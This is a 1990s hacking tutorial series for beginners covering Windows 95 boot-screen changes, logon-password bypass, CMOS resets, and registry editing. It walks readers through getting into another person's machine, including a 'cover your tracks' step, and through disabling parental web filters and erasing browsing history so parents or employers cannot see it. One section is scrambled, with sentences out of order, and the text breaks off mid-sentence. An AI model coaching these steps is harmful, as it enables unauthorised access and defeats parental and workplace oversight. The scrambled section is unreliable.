HACKING INTO COMPUTER SYSTEMS A Beginners Guide

Guides of the Beginner's Series:
So you want to be a harmless hacker? Hacking Windows 95! Hacking into Windows 95 (and a little bit of NT lore)! Hacking from Windows 3.x, 95 and NT How to Get a *Good* Shell Account, Part 1 How to Get a *Good* Shell Account, Part 2 How to use the Web to look up information on hacking. Computer hacking. Where did it begin and how did it grow? GUIDE TO (mostly) HARMLESS HACKING Beginners' Series #1 So you want to be a harmless hacker? "You mean you can hack without breaking the law?" That was the voice of a high school freshman. He had me on the phone because his father had just taken away his computer. His offense? Cracking into my Internet account. The boy had hoped to impress me with how "kewl" he was. But before I realized he had gotten in, a sysadmin at my ISP had spotted the kid's harmless explorations and had alerted the parents. Now the boy wanted my help in getting back on line. I told the kid that I sympathized with his father. What if the sysadmin and I had been major grouches? This kid could have wound up in juvenile detention. Now I don't agree with putting harmless hackers in jail, and I would never have testified against him. But that's what some people do to folks who go snooping in other people's computer accounts -- even when the culprit does no harm. This boy needs to learn how to keep out of trouble! Hacking is the most exhilarating game on the planet. But it stops being fun when you end up in a cell with a roommate named "Spike." But hacking doesn't have to mean breaking laws. In this series of Guides we teach safe hacking so that you don't have to keep looking back over your shoulders for narcs and cops. What we're talking about is hacking as a healthy recreation, and as a free education that can qualify you to get a high paying job. In fact, many network systems administrators, computer scientists and computer security experts first learned their professions, not in some college program, but from the hacker culture. And you may be surprised to discover that ultimately the Internet is safeguarded not by law enforcement agencies, not by giant corporations, but by a worldwide network of, yes, hackers. You, too, can become one of us. And -- hacking can be surprisingly easy. Heck, if I can do it, anyone can! Regardless of why you want to be a hacker, it is definitely a way to have fun, impress your friends, and get dates. If you are a female hacker you become totally irresistible to men. Take my word for it!;^D

These Guides to (mostly) Harmless Hacking can be your gateway into this world. After reading just a few of these Guides you will be able to pull off stunts that will be legal, phun, and will impress the heck out of your friends. These Guides can equip you to become one of the vigilantes that keeps the Internet from being destroyed by bad guys. Especially spammers. Heh, heh, heh. You can also learn how to keep the bad guys from messing with your Internet account, email, and personal computer. You'll learn not to be frightened by silly hoaxes that pranksters use to keep the average Internet user in a tizzy. If you hang in with us through a year or so, you can learn enough and meet the people on our email list and IRC channel who can help you to become truly elite. However, before you plunge into the hacker subculture, be prepared for that hacker attitude. You have been warned. So...welcome to the adventure of hacking! WHAT DO I NEED IN ORDER TO HACK? You may wonder whether hackers need expensive computer equipment and a shelf full of technical manuals. The answer is NO! Hacking can be surprisingly easy! Better yet, if you know how to search the Web, you can find almost any computer information you need for free. In fact, hacking is so easy that if you have an on-line service and know how to send and read email, you can start hacking immediately. The GTMHH Beginners' Series #2 will show you where you can download special hacker-friendly programs for Windows that are absolutely free. And we'll show you some easy hacker tricks you can use them for. Now suppose you want to become an elite hacker? All you will really need is an inexpensive "shell account" with an Internet Service Provider. In the GTMHH Beginners' Series #3 we will tell you how to get a shell account, log on, and start playing the greatest game on Earth: Unix hacking! Then in Vol.s I, II, and III of the GTMHH you can get into Unix hacking seriously. You can even make it into the ranks of the Uberhackers without loading up on expensive computer equipment. In Vol. II we introduce Linux, the free hacker-friendly operating system. It will even run on a 386 PC with just 2 Mb RAM! Linux is so good that many Internet Service Providers use it to run their systems. In Vol. III we will also introduce Perl, the shell programming language beloved of Uberhackers. We will even teach some seriously deadly hacker "exploits" that run on Perl using Linux. OK, you could use most of these exploits to do illegal things. But they are only illegal if you run them against someone else's computer without their permission. You can run any program in this series of Guides on your own computer, or your (consenting) friend's computer -- if you dare! Hey, seriously, nothing in this series of Guides will actually hurt your computer, unless you decide to trash it on purpose. We will also open the gateway to an amazing underground where you can stay on top of almost every discovery of computer security flaws. You can learn how to either exploit them -- or defend your computer against them! About the Guides to (mostly) Harmless Hacking We have noticed that there are lots of books that glamorize hackers. To read these books you would think that it takes many years of brilliant work to become one. Of course we hackers love to perpetuate this myth because it makes us look so incredibly kewl.

But how many books are out there that tell the beginner step by step how to actually do this hacking stuph? None! Seriously, have you ever read _Secrets of a Superhacker_ by The Knightmare (Loomponics, 1994) or _Forbidden Secrets of the Legion of Doom Hackers_ by Salacious Crumb (St. Mahoun Books, 1994)? They are full of vague and out of date stuph. Give me a break. And if you get on one of the hacker news groups on the Internet and ask people how to do stuph, some of them insult and make fun of you. OK, they all make fun of you. We see many hackers making a big deal of themselves and being mysterious and refusing to help others learn how to hack. Why? Because they don't want you to know the truth, which is that most of what they are doing is really very simple! Well, we thought about this. We, too, could enjoy the pleasure of insulting people who ask us how to hack. Or we could get big egos by actually teaching thousands of people how to hack. Muhahaha. How to Use the Guides to (mostly) Harmless Hacking If you know how to use a personal computer and are on the Internet, you already know enough to start learning to be a hacker. You don't even need to read every single Guide to (mostly) Harmless Hacking in order to become a hacker. You can count on anything in Volumes I, II and III being so easy that you can jump in about anywhere and just follow instructions. But if your plan is to become "elite," you will do better if you read all the Guides, check out the many Web sites and newsgroups to which we will point you, and find a mentor among the many talented hackers who post to our Hackers forum or chat on our IRC server at http://www.infowar.com, and on the Happy Hacker email list (email hacker@techbroker.com with message "subscribe"). If your goal is to become an Uberhacker, the Guides will end up being only the first in a mountain of material that you will need to study. However, we offer a study strategy that can aid you in your quest to reach the pinnacle of hacking. How to Not Get Busted One slight problem with hacking is that if you step over the line, you can go to jail. We will do our best to warn you when we describe hacks that could get you into trouble with the law. But we are not attorneys or experts on cyberlaw. In addition, every state and every country has its own laws. And these laws keep on changing. So you have to use a little sense. However, we have a Guide to (mostly) Harmless Hacking Computer Crime Law Series to help you avoid some pitfalls. But the best protection against getting busted is the Golden Rule. If you are about to do something that you would not like to have done to you, forget it. Do hacks that make the world a better place, or that are at least fun and harmless, and you should be able to keep out of trouble. So if you get an idea from the Guides to (mostly) Harmless Hacking that helps you to do something malicious or destructive, it's your problem if you end up being the next hacker behind bars. Hey, the law won't care if the guy whose computer you trash was being a d***. It won't care that the giant corporation whose database you filched shafted your best buddy once. They will only care that you broke the law. To some people it may sound like phun to become a national sensation in the latest hysteria over Evil Genius hackers. But after the trial, when some reader of these Guides ends up being the reluctant "girlfriend" of a convict named Spike, how happy will his news clippings make him?

Conventions Used in the Guides You've probably already noticed that we spell some words funny, like "kewl" and "phun." These are hacker slang terms. Since we often communicate with each other via email, most of our slang consists of ordinary words with extraordinary spellings. For example, a hacker might spell "elite" as "3l1t3," with 3's substituting for e's and 1's for i's. He or she may even spell "elite" as "31337. The Guides sometimes use these slang spellings to help you learn how to write email like a hacker. Of course, the cute spelling stuph we use will go out of date fast. So we do not guarantee that if you use this slang, people will read your email and think, "Ohhh, you must be an Evil Genius! I'm sooo impressed!" Take it from us, guys who need to keep on inventing new slang to prove they are "k-rad 3l1t3" are often lusers and lamers. So if you don't want to use any of the hacker slang of these Guides, that's OK by us. Most Uberhackers don't use slang, either. Who Are You? We've made some assumptions about who you are and why you are reading these Guides: · You own a PC or Macintosh personal computer · You are on-line with the Internet · You have a sense of humor and adventure and want to express it by hacking · Or -- you want to impress your friends and pick up chicks (or guys) by making them think you are an Evil Genius So, does this picture fit you? If so, OK, d00dz, start your computers. Are you ready to hack?

GUIDE TO (mostly) HARMLESS HACKING Beginners' Series #2, Section One. Hacking Windows 95! ____________________________________________________________ Important warning: this is a beginners lesson. BEGINNERS. Will all you super k-rad elite haxors out there just skip reading this one, instead reading it and feeling all insulted at how easy it is and then emailing me to bleat "This GTMHH iz 2 ezy your ****** up,wee hate u!!!&$%" Go study something that seriously challenges your intellect such as "Unix for Dummies," OK? Have you ever seen what happens when someone with an America Online account posts to a hacker news group, email list, or IRC chat session? It gives you a true understanding of what "flame" means, right? Now you might think that making fun of dumb.newbie@aol.com is just some prejudice. Sort of like how managers in big corporations don't wear dreadlocks and fraternity boys don't drive Yugos. But the real reason serious hackers would never use AOL is that it doesn't offer Unix shell accounts for its users. AOL fears Unix because it is the most fabulous, exciting, powerful, hacker-friendly operating system in the Solar system... gotta calm down ... anyhow, I'd feel crippled without Unix. So AOL figures offering Unix shell accounts to its users is begging to get hacked. Unfortunately, this attitude is spreading. Every day more ISPs are deciding to stop offering shell accounts to their users.

So M$ has tried to hide the bootup screen software.from your Windows home computer using even just AOL for Internet access. all these things are really easy." The reason this innocuous graphics file is labeled as a system file -. system. You decide to show your buddies that you are one of those dread hacker d00dz." This turns out to be super easy. HOW TO CUSTOMIZE WINDOWS 95 VISUALS OK. In this Beginner's Series #2 we cover several fun things to do with Windows and even the most hackerhostile Online services. Section Two: Subvert Windows nanny programs such as Surfwatch and the setups many schools use in the hope of keeping kids from using unauthorized programs. *********************************************** .sys and/or ip.sys you will see the letters "rhs.But if you don't have a Unix shell account.OK. Now Microsoft wants you to advertise their operating system every time you boot up. and hiding it.is because Microsoft is afraid you'll change it to read something like "Welcome to Windoze 95 -. *********************************************** Evil Genius tip: One of the rewarding things about hacking is to find hidden files that try to keep you from modifying them -. So you have an opportunity to social engineer them into thinking you are fabulously elite by just by customizing your bootup screen. let's say you are hosting a wild party in your home. We're going to learn today how to totally thwart their plans. Section One: Customize your Windows 95 visuals.sys." then check the box for "show hidden/system files. But they didn't hide it very well. So Microsoft certainly doesn't want you messing with their bootup screen. click "view". let's be blatant -.that Windows 95 passwords are a joke." It's kind of lame looking. But your friends don't know that. they want this so badly that they have gone to court to try to force computer retailers to keep the Micro$oft bootup screen on the systems these vendors sell. Prove to yourself -. you can still hack. You don't need to won an expensive computer. To see this file. Section Three: Explore other computers -." Then. remember. All you need is a computer that runs Windows 95 and just some really retarded on-line account like America Online or Compuserve. and calling it a system file as if it were something so darn important it would destroy your computer if you were to mess with it. The Win95 bootup graphics is hidden in either a file named c:\logo.and then to mess with them anyhow.Breakfast of Lusers!" So by making it a read-only file.when it really is just a graphics file with some animation added -. You don't need to be a genius. You don't need to be a computer scientist.and your friends and coworkers -. Microsoft is trying to trick you into leaving it alone. open File Manager." These mean this file is "read-only. That's what we're doing today. Now let's say you want to boot up with a black screen with orange and yellow flames and the slogan " KRad Doomsters of the Apocalypse. Set up your startup. then click "by file type. Just like some boring corporate workstation operated by some guy with an IQ in the 80s. back on "view. And.hack -." click "all file details. In fact. These are things anyone with Windows 95 can do. So you fire up your computer and what should come up on your screen but the logo for "Windows 95." To the right of the file logo. Now if you are a serious hacker you would be booting up Linux or FreeBSD or some other kind of Unix on your personal computer. isn't it? Your computer looks just like everyone else's box. hidden. either. background and logoff screens so as to amaze and befuddle your non-hacker friends.

So here's how to do this without using a canned program. 14) Now we play with this picture. As we saw above.sys. Some download sites for this goodie include: http://www. 15) When you decide you really like your picture (fill it with frightening hacker stuph. If you want to change the shut down screens.zip ******************************************************** .com/pcmag/1997/0325/logoma. you will be able to both read and write the file logo. the final "It's now safe to turn off your computer" screen graphic is named c:\windows\logos. But just in case you're like me and keep on moving things around. click "file" 12) Click "open" OK. right?). This will overwrite the Windows startup logo file. You can find it at ftp.sys. any time you want to change your startup logo. you can make your own animated startup screen using the shareware program BMP Wizard.html http://www. 16. To make graphics that will be available for your wallpaper. 17.windows95. 2) Click "Windows Explorer" 3) Click "Tools" 4) Click "Find" 5) Click "files or folders" 6) After "named" type in "MSPaint" 7) After "Look in" type in 'C:" 8) Check the box that says "include subfolders" 9) Click "find now" 10) Double click on the icon of a paint bucket that turns up in a window. Now you have a super easy way to create your new bootup screen: 13) After "file name" type in c:\windows\logos. so we like to do things ourselves. The beginning shutdown screen is named c:\windows\logow. now you have MSPaint. they are easy to find and modify using MSPaint. We start by finding the MSPaint program. But we're hackers.sys.") ******************************************************** Evil Genius tip: The Microsoft Windows 95 startup screen has an animated bar at the bottom.sys. This loads the paint program. save it as c:\logo.com/apps/ and check out their programs." This graphic has exactly the right format to be used for your startup graphic. This brings up the graphic you get when your computer is ready to shut down saying "It's now safe to turn off your computer. that animation is gone. But once you replace it with your own graphic. From now on.windows95.windows95.html Or you can download the program LogoMania.unless you like to name your wallpaper "evilhaxor. So you can play with it any way you want (so long as you don't do anything on the Attributes screen under the Images menu) and use it for your startup graphic.bmp (substituting your filename for "exilhaxor" -. 11) Within the paint program.The easiest way to thwart these Windoze 95 startup and shut down screens is to go to http://www. It's probably under the accessories folder.sys. However. name them something like c:\windows\evilhaxor.zdnet.com/English/ComputersSoftware/Software/Windows95/graphic.htm http://search.com/apps/editors. Just experiment with the controls of MSPaint and try out fun stuff. which automatically resizes any bitmap to the correct size for your logon and logoff screens and adds several types of animation as well.pippin.com/apps/editors. here's the fail-safe program finding routine: 1) Click "Start" on the lower left corner of your screen.

If you really want to go wild. And.sys. on bootup your computer displays their same old Windows 95 bootup screen.95 policy editor (comes on the 95 cd) with the default admin. or c:\windows\logow.sys. But there is a way to thwart the network. Click "Start" then "Programs" then "MS-DOS. open MSPaint again.Now the trouble with using one of the existing Win95 logo files is that they only allow you to use their original colors.sys. or c:\winodws\evilhaxor." then click "attributes. 3) Click edit.bmp depending on which screen or wallpaper you want to display it on." At the MS_DOS prompt enter the commands: ATTRIB -R -H -S C:\IO.sys or logo. no.bak. 4) When you save it. guess what. If you aren't afraid of your boss seeing your "K-Rad Dommsters of the Apocalypse" spashed over an x-rated backdrop. stuffy Auntie Suzie is coming to visit and she wants to use my computer to read her email! I'll never hear the end of it if she sees my K-Rad Doomsters of the Apocalypse startup screen!!! Here's what you can do to get your boring Micro$oft startup logo back. this is a great thing to learn in case you ever need to break into a Windows computer -. Remember to save the file as c:\logo. Something like logo. you can steal graphics from your favorite hacker page on the Web and import them into Win95's startup and shutdown screens. Use the policy editor to open the registry. so long as you save it with the right file name in the right directory and size it 320X400 Pels.sys." So if you rename or delete their original logo. and there is no file by that name left.SYS . ************************************** Evil genius tip: Want to mess with io. make sure attributes are still 320X400 Pels. 0. kewl graphics! Stop your browsing on that Web page and hit the "print screen" button. Make sure under Units that Pels is selected. here's how to customize your bootup graphics. Now suppose your Win95 box is attached to a local area network (LAN)? It isn't as easy to change your bootup logo. as the network may override your changes.something we'll look at in detail in the next section." Set width 320 and height to 400.sys for your startup logo. First click "Image. select 'logon' and then selet 'logon banner'. It'll then show you the current banner and let you change it and save it back to the registry.sys? Here's how to get into them. 2) Open MSPaint and set width to 320 and height to 400 with units Pels.sys. Just change the name of c:logo. 1) Wow. select 'local computer' select network.sys to something innocuous that Aunt Suzie won't see while snooping with file manager. Now you are free to use any color combination available in this program. that image is now in your MSPaint program. Bam. Oh. Guess what happens? Those Microsoft guys figured we'd be doing things like this and hid a copy of their boring bootup screen in a file named "io.sys and or c:\windows\logos. Of course you can do the same thing by opening any graphics file you choose in MSPaint or any other graphics program. Name it c:\logo.sys for your shutdown screens. c:\windows\logow. c:\windows\logos.adm will let you change this. then click paste. Here's how you do it. But if you want some really fabulous stuff for your starting screen.

Will all you geniuses who were born already knowing 32-bit Windows just skip reading this one. That's because you'll say "Sheesh. In this lesson you will learn serious hacking techniques useful on both Windows 95 and Win NT systems while playing in complete safety on your own computer.ATTRIB -R -H -S C:\LOGO. In fact. You've already put in a really industrial haxor-looking bootup screen.sys and logo. muhahaha! But don't be surprised is MSPaint can't open either of these files.which is where access control on Windows-based LANs. . you'd better get a firm grasp on Win NT. BEGINNERS. But I'll bet my box has a happier hacker logon graphic than yours does. MSPaint only opens graphics files. you call that password protection? Any idiot can break into a Win 95 box! And of course you're right.SYS Now they are totally at your mercy. ************************************** OK. Hacking into Windows 95 (and a little bit of NT lore)! ____________________________________________________________ Important warning: this is a beginners lesson. Internet. Then shut down your computer and tell them you are about to show them how fast you can break their password and get back into your own box! This feat is so easy I'm almost embarrassed to tell you how it's done. Windows NT is coming into wide use as a local area network (LAN)." Tell your friends your password and get them to enter a secret new one. intranets and Internet and Webs servers are hidden! Let's set the stage for this lesson. that's it for now. KRad Doomsters of the apocalypse. So if you want to call yourself a serious hacker. so they are already trembling at the thought of what a tremendously elite d00d you are. But io. But that's the Micro$oft way. In this lesson we explore: · Several ways to hack your Windows 95 logon password · How to hack your Pentium CMOS password · How to hack a Windows Registry -. You have your buddies over to your home to see you hack on your Windows 95 box. and Web server. intranet. Remember this next time you expect to keep something on your Win95 box confidential. I warned you. You 31337 hackers who are feeling insulted by reading this because it was too easy.sys are set up to be used by animation applications. Section Two. OK? We don't need to hear how disgusted you are that not everyone already knows this." clicking "settings" then "control panel" then "passwords. yesss! GUIDE TO (mostly) HARMLESS HACKING Beginners' Series #2. PARENTAL DISCRETION ADVISED! This lesson will lay the foundation for learning how to hack what now is the most commonly installed workstation operating system: Windows NT. So what do you do next? How about clicking on "Start. tough cookies.

an ancient operating system dating from 1981. if you want to do something that looks a little classier. meaning that you get a prompt (probably c:\>) after which you type in a command and press the enter key. Step five. You will get the password dialog screen. Explorer or MS-DOS -. too.zzz back to *. give the command "rename c:\windows\*pwl c:\windows\*zzz. Once you see how easy it is to break into your Win 95 box. Your friends are smart enough to suspect you just created a new password. remember this Micro$oft security mindset.File Manager. Step three: choose number 7. At the prompt." Everything looks weird. But never fear. You can then fake out your friends by entering any darn password you want. But back to your buddies waiting to see what an elite hacker you are. press the "F5" key. It is a command-line operating system. Use any tool you like -. Easy Win 95 Breakin #1: Step one: boot up your computer. Too easy! OK. this boots you into "safe mode. The funny thing is that very few hackers mess with NT today because they're all busy cracking into Unix boxes. Step six: reboot and let your friends use their secret password. especially in corporate local area networks (LANs). Easy Win 95 Breakin #2: Step one: Boot up. But we'll start with the easy ways first. This puts you into MS-DOS. here's another way to evade that new password. It will ask you to reenter it to confirm your new password. here's a warning. If your Win 95 has the right settings. press the F8 key. several of these techniques don't work. you'll feel in your bones that even without us holding your hand. Step two: When the "system configuration" screen comes up. Step two: when you get to the "system configuration" screen. but you don't have to give your password and you still can run your programs. and in fact in its first version it incorporated thousands of lines of Unix code." **************************** Newbie note: MS-DOS stands for Microsoft Disk Operating System. you can put the old one your friends picked. But. But first. This gives you the Microsoft Windows 95 Startup Menu. huh? Well. just keep on pressing the F5 key. The first few techniques we're showing work on most home Win 95 installations. ***************************** Step four: reboot. If your system doesn't show this screen. MS-DOS is often abbreviated DOS. It is a little bit similar to Unix. you could discover ways to crack Win NT boxes. Maybe you'll want them to turn their backs so all they know is you can break into a Win95 box in less than one minute.And when it comes time to learn Win NT hacking. But there are countless amazing Win NT exploits just waiting to be discovered.pwl. in this lesson we will cover enough ways to break in that you will be able to gain control of absolutely *any* Win 95 box to which you have physical access. It still works! .to rename *. Or maybe you'll be a nice guy and show them exactly how it's done.

using this technique.sys file.sys. then Control Panel.Think about it. then Startup Disk. especially the system files.sys file bootkeys=0 option is active. F8. then Add/Remove Programs. then left click "properties. Find msdos.pwl files have been messed with **************************** Evil genius tip: Unless the msdos.sys up in Word Pad. Then click "associate" under the "file" menu.sys.sys. then scroll down the right side frame until you find the file "msdos. here's how to make one.sys again and click on it. Play with them! **************************** Now let's suppose you discovered that your Win 95 box doesn't respond to the bootup keys. you go to File Manager.way to disable the boot keys is to pick the proper settings while installing Win 95. shame! Everyone ought to have a boot disk for their computer just in case you or your buddies do something really horrible to your system files.sys writable. right click on msdos. or else you are so good you couldn't possibly make a serious mistake. You can still break in. You will see something that looks like this: [Paths] WinDir=C:\WINDOWS WinBootDir=C:\WINDOWS HostWinBootDrv=C . From here just follow instructions. If your computer does allow use of the boot keys. Besides. ******************************* Newbie note: You don't have a boot disk? Shame. Make sure you have a Windows 95 boot disk. let's just hope either you have permission to destroy the operating system. right click the icon for your boot drive (usually C:). We are going to learn how to edit the Win 95 msdos. Since this is a hidden system file. But we're hackers. so we can pull a fast trick to do the same thing. If someone where to be sneaking around another person's Win 95 computer. Click on Start. then Settings." This brings up a screen on which you uncheck the "read only" and "hidden" boxes. ******************************** Step one: Find the file msdos. You will see that Word Pad has come up with msdos. the keys that can do something during the bootup process are F4. you may wish to disable them in order to be a teeny bit more secure. To do this. To do this you need an empty floppy disk and your Win 95 installation disk(s). Then click on "Word Pad.but slowest -. To do this. the only way the victim could determine there had been an intruder is to check for recently changed files and discover that the *. We are about to play with fire! If you are doing this on someone else's computer.sys loaded. The easiest -.sys File: Step zero: Back up your computer completely. which controls the boot sequence. You have now made this a file that you can pull into a word processor to edit. shame. it's phun to show your friends how to use the boot keys and then disable these so when they try to mess with your computer they will discover you've locked them out. Step three: Bring msdos. Easy Way to Edit your Msdos. F5. Shift+F5." It is very important to use Word Pad and not Notepad or any other word processing program! Then double click on msdos. Control+F5 and Shift+F8.sys. left click Explore. It is in the root directory (usually C:\). F6. the easiest way to find it is to click on My Computer." Step two: Make msdos. If you don't already have a Win 95 boot disk. Step four: We are ready to edit.

.[Options] BootGUI=1 Network=1 . your next option for Win 95 breakins is to use a boot disk that goes in the a: floppy drive. this isn't good enough. Save it.) Step two: give the command "edit msdos. Web and Internet servers." Or. ." Hard Way to Edit your (or someone else's) Msdos. aren't you? You never know what your phriends might do to your computer while your back is turned. Give the command "attrib -h -r -s c:\msdos. Does this mean no one can break in? Sorry.sys.sys." Step six: You *are* running a virus scanner.sys" (This assumes the c: drive is the boot disk. give the command "attrib +r +h +s c:\msdos. .sys is absolutely essential to your computer. then click the icon for your boot drive (usually C:).sys File.sys. How to Break into a Win 95 Box Using a Boot Disk Step one: shut down your computer. Exit the edit program. Step zero. Step five: since msdos. . . so all I have to do when the virus warning screen comes up it to tell it to "innoculate. Step four: At the DOS prompt. Put a Win 95 boot disk in the a: drive. now your computer's boot keys are disabled. This is useful practice for using DOS to run rampant someday in Win NT LANs." Click on msdos.The following lines are required for compatibility with other programs. Click on My Computer. then scroll down the right side until you find the file "msdos. I run Norton Antivirus. When you next boot up. Check "read only. Then save msdos. another way to disable the boot keys is to insert the command BootDelay=0.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx . This gives you a DOS prompt A:\. You can really mess up your snoopy hacker wannabe friends by putting in both statements and hope they don't know about BootDelay. Boot up. directly below [Options] you should insert the command "BootKeys=0. read-only system file. then Explore.sys" instruction. Step three: Use the edit program to alter msdos. OK.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx . Step one: Make msdos.sys file to the status of hidden." This brings back that screen with the "read only" and "hidden" boxes. It will assume the worst and want to make your msdos. then left click "properties.sys writable. .sys file look just like it did before. your virus scanner will see that msdos. To disable the function keys during bootup.sys" This brings up this file into the word processor.sys" to return the msdos. As you may have guessed from the "Hard Way to Edit your Msdos.sys. you'd better write protect it like it was before you edited it.sys has changed. You have to stop it from doing this.Do not remove them (MSDOS>SYS needs to be >1024 bytes).

solder sucker and soldering iron. give the command: rename c:\windows\*. Step two: open up your victim. this is just too easy! What do you do if you want to keep your prankster friends out of your Win 95 box? Well. there is one more thing you can do. Or even so that it only boots from a remote drive on a LAN. You can enter anything or nothing at the password prompt and get in. If I don't want someone to boot from the A: drive and mess with my password file. On a home computer it will typically be set to first look in the A: drive.zzz. This is a common trick on LANs where the network administrator doesn't want to have to deal with people monkeying around with each others' computers. I have to give it my password to change anything. Step three: remove the battery . ******************************* You can get fired warning: If you do this wrong. Step four: at the A:\ prompt. Put everything back the way they were.but not a very good answer -. Step three: boot up. because I have instructed the CMOS settings to ask for a password.is to use a CMOS password. Alternate step three: many motherboards have a 3 pin jumper to reset the CMOS to its default settings. it next will look at the C: drive. On my computer. If you move the jumper to pins two and three and leave it there for over five seconds. Wow.pwl c:\windows\*. Step four: boot up again. Step five: Cover your tracks by renaming the password files back to what they were. Hacking CMOS is even more destructive than hacking system files.this will not work on all computers! Step five: Your victim computer now hopefully has the CMOS default settings. Step four: plug the battery back in. Then. it may reset the CMOS. How to Mess With CMOS #1 The basic settings on your computer such as how many and what kinds of disk drives and which ones are used for booting are held in a CMOS chip on the mother board. For example. be sure to write down *ALL* your CMOS settings. Look for a jumper close to the battery or look at your manual if you have one. A tiny battery keeps this chip always running so that whenever you turn your computer back on. if I want to change the CMOS settings I press the delete key at the very beginning of the bootup sequence. I can set it so it only boots from the C: drive. So. and you have to go crying to the systems administrator to get your computer working again. it remembers what is the first drive to check in for bootup instructions. and this is a computer you use at work. you might find a three pin device with pins one and two jumpered. The answer -. Step one: get a phillips screwdriver. Warning -. If the A: drive is empty. you had better have a . is there a way to break into a Win 95 box that won't boot from the A: drive? Absolutely yes! But before trying this one out. And be prepared to make a total wreck of your computer.Step two: put boot disk into A: drive. with the exception of setting it to first check the A: drive when booting up.

com. This brings up the task list. There's an easy solution to the CMOS password problem. I'd first check out this site using the Lynx browser. So what they do is only allow access to a relatively small number of Web sites. I sure hope you decided to read to the end of this GTMHH before taking solder gun to your motherboard. which you can use from Linux or your shell account). (Warning: if I were you. And. But Internet Explorer is a really tough browser to defeat.ini with either Notepad or Word Pad. Brrrr! ************************* Newbie note: Registry! It is the Valhalla of those who wish to crack Windows.bat file to delete any mention of the web censor program. How to Mess with CMOS #2 Boy. guess what. Open Netscape. at least) to defeat the censorship feature on Internet Explorer. Whoever controls the Registry of a Win 95 or Win NT box controls that computer -. Whatever you do.totally. There are several ways to evade those programs that censor what Web sites you visit. Near the bottom you will find your URL history. Besides. become responsible cyberspace citizens.totally. But these Web censor programs are a poor substitute for spending time with your kids so that they learn how to use computers responsibly and become really dynamite hackers! Um. This keeps it from getting loaded in the first place. It probably will be in the directory C:\Netscape\netscape. turn it off. Whoever controls the Registry of a network server controls the network -. This keeps kids form discovering many wonderful things on the Web. 'em . The ability to edit the Registry is comparable to having root access to a Unix machine. If the censorship program is on the list. But what if your parents (or your boss or spouse) is savvy enough to check where you've been surfing? You've got to get rid of those incriminating records whowing that you've been surfing Dilbert! It's easy to fix with Netscape. The sad fact is that these net censorship programs have no way of evaluating everything on the Web. Now suppose you like to surf the Web but your Win 95 box is set up so some sort of net nanny program restricts access to places you would really like to visit.convincing story. It's a program called KillCMOS which you can download from http://www. these programs can all be hacked way to easily. I mean. Does this sound too hairy? Want an easy way to mess with CMOS? There's a program you can run that does it without having to play with your mother board. Delete those lines. The first tactic to use with a Web censor program is hit control-alt-delete. I understand how worried parents can get over what their kids encounter on the Internet.ini. Second tactic is to edit the autoexec. don't tell the sysadmin or your boss that "The Happy Hacker made me do it"! ******************************* Step six: proceed with the A: drive boot disk break-in instructions. Now what I am about to discuss is not with the intention of feeding pornography to little kids. Does this mean you are doomed to live in a Brady Family world? No way.koasp. Editing the Registry is the only way (that I have found. As the mother of four. it even hides several records of your browsing history in the Registry.

Let's check out CURRENT_USER by clicking the plus sign to the left of it. Step four. hey. You'll soon realize that Microsoft is babysitting you. you could trash your computer big time. this is a beginners' lesson so we'll gloss over this part. If you were messing with it and accidentally left click.. because the Microsoft theory is what you don't know won't hurt you. See how the Regedit gives you menu choices to pick new settings. then Windows Explorer.anything. Click on it. but be sure it ends with ". Figure out how to edit the Registry of a LAN server at work and you may be in real trouble. It holds all sorts of settings -. ******************************* Step one: Find the Registry. We are going to put part of the Registry where we can see -and change -. Have a boot disk handy." This isn't how hackers edit the Registry. if you get caught you had better have a good explanation for the sysadmin and your boss. IMPORTANT WARNING: if you left click on it. All you see is pictures with no clue of who these files look in DOS." Step two: Run Regedit. hey. ****************************** You can get fired warning: If you edit the Registry of a computer at work. One way is to right click on it from Explorer. But. what short cuts you are using.reg". then click on the Windows directory and look for a file named "Regedit. we don't care if we totally trash our computers.. It brings up several folders: HKEY_CLASSES_ROOT HKEY_CURRENT_USER HKEY_LOCAL_MACHINE HKEY_USERS HKEY_CURRENT_CONFIG HKEY_DYN_DATA What we are looking at is in some ways like a password file." Give it any name you want.How to edit the Registry: Step zero: Back up all your files. Now we get act like real hackers. Get permission before you mess with Registries of computers you don't own. It's called "security by obscurity. Click it. **************************** Step three.how your desk top looks. So the idea is to hide the Registry from clueless types. Get into one of these HKEY thingies. Open that part of the Registry in Word Pad. . but it's much more than this. Then go up to the Registry heading on the Regedit menu bar. **************************** Evil genius tip: You can run Regedit from DOS from a boot disk. This is not simple. But. Step five. ******************************* ******************************* You can go to jail warning: Mess with the Registry of someone else's computer and you may be violating the law. it will automatically import it back into the Registry. right? So we click Start.exe. Play around awhile. If you mess up the Registry badly enough you may have to reinstall your operating system. It is important to use that program instead of Note Pad or any other word processing program. If you are used to Unix. you are going to have to make major revisions in how you view file permissions and passwords. then Programs. what files you are allowed to access. Verrrry handy in certain situations. First click the HKEY_CLASSES_ROOT line to highlight it. then choose "Export Registry File.

so you can restore them and your computer will be back to the mess you just made of it.dat. Internet Explorer makes this loud obnoxious noise the first time I run it and puts up a bright red "X" with the message that I tampered with the net nanny feature! My parents will seriously kill me! Or. Import your . folks.dat. if you trash your operating system in the process. And if your parents catch you surfing a Nazi explosives instruction site. (This was a really exciting test.dat and c:\windows\cookies\mm256. Then use your Win 95 boot disk to bring your computer back to life.PasswordCtl. don't blame it on Happy Hacker. no. Step eight (optional): Want to erase your surfing records? For Internet Explorer you'll have to edit HKEY_CURRENT_USER. You can also delete the files c:\windows\cookies\mm2048. you'd better have a good explanation for your Mom and Dad about why your computer is so sick. Things that look like: [HKEY_CLASSES_ROOT\htmlctl.dat.da0. Erase the Registry and its backups. . This only works if you remembered to name them with the . Step nine: Oh. system. oh. These are in four files: system. I say delete them all! Of course this means your stored passwords for logging on to your ISP. no.da0 and user. but I luuuv that adrenaline!) If you get cold feet.1" [HKEY_CLASSES_ROOT\htmlctl. for example.PasswordCtl. Hope they don't check Internet Explorer to see if the censorship program still is enabled. But if you really have guts.PasswordCtl. or if you catch your kids at bianca's Smut Shack. It's a good idea to know how to use your boot disk to reinstall Win 95 it this doesn't work out.reg files in Explorer or else use the "Import" feature next to the "Export" you just used in Regedit.or on parents being too busy to teach their kids right from wrong.reg files back into the Registry. These also store URL data.Step six: Read everything you ever wanted to know about Windows security that Microsoft was afraid to let you find out. What it does in encrypt the password when you enter it.reg extension. user. Either click on your ." This will look really bad to your parents! Also. Blame it on Microsoft security -. Reinstall Windows 95. proudly tell everyone you learned a whole big bunch about Win 95 